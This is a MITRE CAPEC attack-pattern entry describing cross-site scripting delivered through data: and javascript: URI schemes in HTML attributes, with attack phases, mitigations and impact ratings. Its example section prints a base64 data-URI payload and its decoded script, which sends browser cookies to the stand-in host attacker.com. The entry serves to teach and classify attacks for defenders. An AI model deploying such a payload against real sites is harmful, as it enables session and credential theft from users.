Home > CAPEC List > CAPEC-244: XSS Targeting URI Placeholders (Version 2.11)  

CAPEC-244: XSS Targeting URI Placeholders

 
XSS Targeting URI Placeholders
Definition in a New Window Definition in a New Window
Attack Pattern ID: 244
Abstraction: Detailed
Status: Draft
Completeness: Complete
Presentation Filter:
+ Summary

An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.

+ Attack Steps
Explore
  1. Survey the application: Using a browser or an automated tool, an attacker follows all public links on a web site. He records all the links he finds.

    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.

    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.

    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment
  1. Attempt injection payload variations on input parameters: Possibly using an automated tool, an attacker requests variations on the inputs he surveyed before. He sends parameters that include variations of payloads. He records all the responses from the server that include unmodified versions of his script.

    Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.

    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit
  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on.

    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.

    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site

    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website

    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.

+ Attack Prerequisites
  • Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.

+ Typical Severity

High

+ Typical Likelihood of Exploit

Likelihood: High

+ Methods of Attack
  • Injection
  • Protocol Manipulation
+ Examples-Instances

Description

The following payload data:

text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==

represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.

The decoded payload is the following piece of HTML code:

<html>
<body>
<script>
var img = new Image();
img.src = "http://attacker.com/cookiegrabber?"+ encodeURIComponent(document.cookies);
</script>
</body>
</html>

Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.

An attacker could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):

<a href="INJECTION_POINT">My Link</a>

Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.

+ Attacker Skills or Knowledge Required

Skill or Knowledge Level: Medium

To inject the malicious payload in a web page

+ Resources Required

Ability to send HTTP request to a web application

+ Solutions and Mitigations

Design: Use browser technologies that do not allow client side scripting.

Design: Utilize strict type, character, and encoding enforcement.

Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.

Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.

Implementation: Perform input validation for all remote content, including remote and user-generated content

Implementation: Perform output validation for all remote content.

Implementation: Disable scripting languages such as JavaScript in browser

Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.

+ Attack Motivation-Consequences
ScopeTechnical ImpactNote
Integrity
Modify files or directories
Confidentiality
Read files or directories
Integrity
Modify application data
Confidentiality
Read application data
Authorization
Execute unauthorized code or commands
Run Arbitrary Code
Accountability
Authentication
Authorization
Non-Repudiation
Gain privileges / assume identity
Access_Control
Authorization
Bypass protection mechanism
+ Injection Vector

Any HTTP Request transport variables (GET, POST, Headers, etc.)

+ Payload

XSS malicious script leveraging URI schemes

+ Activation Zone

Client web browser where script is executed

+ Payload Activation Impact

Client web browser may be used to steal session data, passwords, cookies, and other tokens.

+ Purposes
  • Exploitation
+ CIA Impact
Confidentiality Impact: HighIntegrity Impact: HighAvailability Impact: Low
+ Technical Context
Architectural Paradigms
Client-Server
n-Tier
Frameworks
All
Platforms
All
Languages
All
+ References
[R.244.1] [REF-4] "OWASP Testing Guide". Testing for Cross site scripting. v2. The Open Web Application Security Project (OWASP). <http://www.owasp.org/index.php/Testing_for_Cross_site_scripting>.
[R.244.2] "Google Cross-Site Scripting HOWTO article". Google. <http://code.google.com/p/doctype/wiki/ArticleXSSInUrlAttributes>.
[R.244.3] [REF-9] "OWASP Cheatsheets". XSS Filter Evasion Cheat Sheet. The Open Web Application Security Project (OWASP). <http://ha.ckers.org/xss.html>.
[R.244.4] [REF-1] "WASC Threat Classification 2.0". WASC-08 - Cross Site Scripting. The Web Application Security Consortium (WASC). 2010. <http://projects.webappsec.org/Cross-Site+Scripting>.
+ Content History
Submissions
SubmitterOrganizationDateSource
CAPEC Content TeamThe MITRE Corporation2014-06-23Internal_CAPEC_Team
Modifications
ModifierOrganizationDateCommentsSource
CAPEC Content TeamThe MITRE Corporation2017-05-01Updated Related_Attack_Patterns, Related_WeaknessesInternal
Previous Entry Names
DatePrevious Entry Name
2017-05-01Cross-Site Scripting via Encoded URI Schemes

More information is available — Please select a different filter.
Page Last Updated or Reviewed: July 31, 2017